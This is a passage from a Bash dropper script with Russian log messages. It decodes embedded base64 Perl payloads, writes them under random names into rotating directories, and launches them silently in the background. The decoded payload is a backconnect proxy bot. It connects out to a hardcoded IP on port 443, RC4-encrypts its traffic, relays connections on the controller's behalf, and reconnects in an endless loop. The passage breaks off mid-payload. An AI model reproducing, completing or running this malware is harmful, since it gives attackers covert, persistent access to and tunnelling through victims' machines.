CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #30 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #30 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 31 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODAnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 